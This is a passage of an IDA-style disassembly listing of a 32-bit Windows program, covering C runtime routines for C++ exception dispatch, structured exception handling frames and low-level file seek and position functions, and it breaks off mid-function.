		cmp	[ebp+arg_14], 0
		jz	short loc_4227C8
		push	1
		push	esi
		call	sub_422D26
		pop	ecx
		pop	ecx


loc_4227C8:				; CODE XREF: sub_422651+56j
					; sub_422651+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4227CD:				; CODE XREF: sub_422651+37j
					; sub_422651+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_4227F3
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4227F8
		add	esp, 20h
		jmp	short loc_4227C8
; ---------------------------------------------------------------------------


loc_4227F3:				; CODE XREF: sub_422651+180j
		jmp	sub_422DFC
sub_422651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227F8	proc near		; CODE XREF: sub_422651+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DBE70, 0
		push	esi
		push	edi
		jz	short loc_422829
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D3AA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_42289C


loc_422829:				; CODE XREF: sub_4227F8+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	esi, eax


loc_422845:				; CODE XREF: sub_4227F8+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_42289C
		cmp	edi, [esi]
		jl	short loc_422894
		cmp	edi, [esi+4]
		jg	short loc_422894
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_42286E
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_422894


loc_42286E:				; CODE XREF: sub_4227F8+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4229B1
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_422894:				; CODE XREF: sub_4227F8+57j
					; sub_4227F8+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_422845
; ---------------------------------------------------------------------------


loc_42289C:				; CODE XREF: sub_4227F8+2Fj
					; sub_4227F8+53j
		pop	edi
		pop	esi
		leave
		retn
sub_4227F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228A0	proc near		; CODE XREF: sub_422651+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_4228F7
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_4228F7
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_4228D1
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4228F3


loc_4228D1:				; CODE XREF: sub_4228A0+1Fj
		test	byte ptr [esi],	2
		jz	short loc_4228DB
		test	byte ptr [edi],	8
		jz	short loc_4228F3


loc_4228DB:				; CODE XREF: sub_4228A0+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_4228EA
		test	byte ptr [edi],	1
		jz	short loc_4228F3


loc_4228EA:				; CODE XREF: sub_4228A0+43j
		test	al, 2
		jz	short loc_4228F7
		test	byte ptr [edi],	2
		jnz	short loc_4228F7


loc_4228F3:				; CODE XREF: sub_4228A0+2Fj
					; sub_4228A0+39j ...
		xor	eax, eax
		jmp	short loc_4228FA
; ---------------------------------------------------------------------------


loc_4228F7:				; CODE XREF: sub_4228A0+Bj
					; sub_4228A0+14j ...
		push	1
		pop	eax


loc_4228FA:				; CODE XREF: sub_4228A0+55j
		pop	edi
		pop	esi
		retn
sub_4228A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4228FD	proc near		; CODE XREF: sub_4225B6+34p
					; ___:004229F3p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278A8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42292F:				; CODE XREF: sub_4228FD+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_422989
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42293E
		cmp	esi, [edi+4]
		jl	short loc_422943


loc_42293E:				; CODE XREF: sub_4228FD+3Aj
		call	sub_422E52


loc_422943:				; CODE XREF: sub_4228FD+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_42295E
		push	103h
		push	ebx
		push	eax
		call	sub_422DB0


loc_42295E:				; CODE XREF: sub_4228FD+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42297E
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_42299B
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_42297E:				; CODE XREF: sub_4228FD+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42292F
; ---------------------------------------------------------------------------


loc_422989:				; CODE XREF: sub_4228FD+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4228FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42299B	proc near		; CODE XREF: sub_4228FD+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_4229AC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4229AC:				; CODE XREF: sub_42299B+Cj
		jmp	sub_422DFC
sub_42299B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4229B1	proc near		; CODE XREF: sub_422651+151p
					; sub_4227F8+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_4229D3
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_422B62
		add	esp, 10h


loc_4229D3:				; CODE XREF: sub_4229B1+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_4229DF
		push	edi
		jmp	short loc_4229E2
; ---------------------------------------------------------------------------


loc_4229DF:				; CODE XREF: sub_4229B1+29j
		push	[ebp+arg_24]


loc_4229E2:				; CODE XREF: sub_4229B1+2Cj
		call	sub_41D2AC
sub_4229B1	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_4228FD
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_422A2C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422A27
		push	edi
		push	eax
		call	sub_41D26A


loc_422A27:				; CODE XREF: ___:00422A1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422A2C	proc near		; CODE XREF: ___:00422A14p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278B8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DBE68
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DBE6C
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DBE68, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DBE6C, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41D331
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422AF2
		mov	eax, [ebp+var_2C]


loc_422AB9:				; CODE XREF: sub_422AD2+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422A2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AC8	proc near		; DATA XREF: ___:004278C8o
		push	dword ptr [ebp-14h]
		call	sub_422B38
		pop	ecx
		retn
sub_422AC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AD2	proc near		; DATA XREF: ___:004278CCo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41D592
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422AB9
sub_422AD2	endp

; ---------------------------------------------------------------------------


loc_422AEA:				; DATA XREF: ___:004278C0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422AF2	proc near		; CODE XREF: sub_422A2C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DBE68, eax
		mov	eax, [ebp-20h]
		mov	dword_4DBE6C, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422B37
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422B37
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422B37
		cmp	[ebp-24h], ebx
		jnz	short locret_422B37
		cmp	[ebp-2Ch], ebx
		jz	short locret_422B37
		call	sub_41D5FA
		push	eax
		push	edi
		call	sub_422D26
		pop	ecx
		pop	ecx

locret_422B37:				; CODE XREF: sub_422AF2+1Cj
					; sub_422AF2+22j ...
		retn
sub_422AF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B38	proc near		; CODE XREF: sub_422AC8+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_422B5F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_422B5F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422B5F:				; CODE XREF: sub_422B38+Cj
					; sub_422B38+12j ...
		xor	eax, eax
		retn
sub_422B38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422B62	proc near		; CODE XREF: sub_4229B1+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_422D0B
		cmp	byte ptr [eax+8], 0
		jz	loc_422D0B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_422D0B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_422BFF
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422BF0:				; CODE XREF: sub_422B62+F5j
		push	eax
		call	sub_422D8D
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422D07
; ---------------------------------------------------------------------------


loc_422BFF:				; CODE XREF: sub_422B62+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_422C59
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422D07
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422D07
		add	esi, 8
		push	esi
		jmp	short loc_422BF0
; ---------------------------------------------------------------------------


loc_422C59:				; CODE XREF: sub_422B62+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422CA1
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CA1:				; CODE XREF: sub_422B62+103j
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+18h]
		call	sub_424FB8
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		test	byte ptr [esi],	4
		jz	short loc_422CE8
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D2A5
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CE8:				; CODE XREF: sub_422B62+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D29E
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422D02:				; CODE XREF: sub_422B62+6Aj
					; sub_422B62+7Cj ...
		call	sub_422E52


loc_422D07:				; CODE XREF: sub_422B62+98j
					; sub_422B62+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D0B:				; CODE XREF: sub_422B62+2Ej
					; sub_422B62+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422B62	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D26	proc near		; CODE XREF: sub_422651+170p
					; sub_422AF2+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278E0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422D6D
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_422D6D
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41D29E
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D6D:				; CODE XREF: sub_422D26+2Aj
					; sub_422D26+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422D26	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_422D8D	proc near		; CODE XREF: sub_422B62+8Fp
					; sub_422B62+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_422DAE
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_422DAE:				; CODE XREF: sub_422D8D+12j
		pop	esi
		retn
sub_422D8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DB0	proc near		; CODE XREF: sub_41D331+40p
					; sub_4228FD+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41D61D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_422DEF
		mov	ecx, 2


loc_422DEF:				; CODE XREF: sub_422DB0+38j
		push	ecx
		call	sub_41D61D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DFC	proc near		; CODE XREF: sub_422651:loc_4227F3j
					; sub_42299B:loc_4229ACj ...

var_28		= dword	ptr -28h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DBE74
		test	eax, eax
		jz	short loc_422E44
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_422E40
; ---------------------------------------------------------------------------


loc_422E39:				; DATA XREF: ___:00427900o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E3D:				; DATA XREF: ___:00427904o
		mov	esp, [ebp+var_18]


loc_422E40:				; CODE XREF: sub_422DFC+3Bj
		and	[ebp+var_4], 0


loc_422E44:				; CODE XREF: sub_422DFC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422E4D:				; DATA XREF: ___:004278F8o
		jmp	loc_424FD0
sub_422DFC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422E52	proc near		; CODE XREF: sub_41D4D3+23p
					; sub_41D4D3:loc_41D53Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427908
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43D444
		test	eax, eax
		jz	short loc_422E9A
		mov	[ebp+var_4], 1
		call	eax ; sub_422DFC
		jmp	short loc_422E96
; ---------------------------------------------------------------------------


loc_422E8F:				; DATA XREF: ___:00427918o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E93:				; DATA XREF: ___:0042791Co
		mov	esp, [ebp+var_18]


loc_422E96:				; CODE XREF: sub_422E52+3Bj
		and	[ebp+var_4], 0


loc_422E9A:				; CODE XREF: sub_422E52+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422EA3:				; DATA XREF: ___:00427910o
		jmp	sub_422DFC
sub_422E52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EA8	proc near		; CODE XREF: sub_41D9B3+7p
					; sub_41D9B3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DD388
		push	esi
		cmp	eax, 3
		jnz	short loc_422ED1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41E717
		test	eax, eax
		pop	ecx
		jz	short loc_422ECE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422ECE:				; CODE XREF: sub_422EA8+1Cj
		push	esi
		jmp	short loc_422EF8
; ---------------------------------------------------------------------------


loc_422ED1:				; CODE XREF: sub_422EA8+Ej
		cmp	eax, 2
		jnz	short loc_422EF5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422EF5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422EF5:				; CODE XREF: sub_422EA8+2Cj
					; sub_422EA8+43j
		push	[ebp+arg_0]


loc_422EF8:				; CODE XREF: sub_422EA8+27j
		push	0
		push	dword_4DD384
		call	near ptr 2660000h
		nop


loc_422F06:				; CODE XREF: sub_422EA8+24j
					; sub_422EA8+4Bj
		pop	esi
		leave
		retn
sub_422EA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422F09	proc near		; CODE XREF: ___:0041DAF2p
					; sub_41F9BC+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DD140
		push	esi
		push	edi
		jnb	short loc_422F8B
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_422F8B
		push	eax
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_422F4D
		mov	dword_4DBDDC, 9
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F4D:				; CODE XREF: sub_422F09+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 27A0000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_422F6D
		nop
		call	near ptr 26A096Ch
		jmp	short loc_422F6F
; ---------------------------------------------------------------------------


loc_422F6D:				; CODE XREF: sub_422F09+5Aj
		xor	eax, eax


loc_422F6F:				; CODE XREF: sub_422F09+62j
		test	eax, eax
		jz	short loc_422F7C
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F7C:				; CODE XREF: sub_422F09+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_422F9F
; ---------------------------------------------------------------------------


loc_422F8B:				; CODE XREF: sub_422F09+Dj
					; sub_422F09+2Aj
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_422F9C:				; CODE XREF: sub_422F09+42j
					; sub_422F09+71j
		or	eax, 0FFFFFFFFh


loc_422F9F:				; CODE XREF: sub_422F09+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_422F09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422FA3	proc near		; CODE XREF: ___:0041DAB5p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_422FBF
		mov	[edi+4], ebx


loc_422FBF:				; CODE XREF: sub_422FA3+17j
		push	1
		push	ebx
		push	esi
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42302D
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422FE4
		sub	eax, [edi+4]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_422FE4:				; CODE XREF: sub_422FA3+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_42301E
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DD040[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_423035
		mov	edx, ecx


loc_42300F:				; CODE XREF: sub_422FA3+79j
		cmp	edx, eax
		jnb	short loc_423035
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42301B
		inc	[ebp+var_8]


loc_42301B:				; CODE XREF: sub_422FA3+73j
		inc	edx
		jmp	short loc_42300F
; ---------------------------------------------------------------------------


loc_42301E:				; CODE XREF: sub_422FA3+50j
		test	dl, 80h
		jnz	short loc_423035
		mov	dword_4DBDDC, 16h


loc_42302D:				; CODE XREF: sub_422FA3+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_423035:				; CODE XREF: sub_422FA3+68j
					; sub_422FA3+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_423043
		mov	eax, [ebp+var_8]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_423043:				; CODE XREF: sub_422FA3+96j
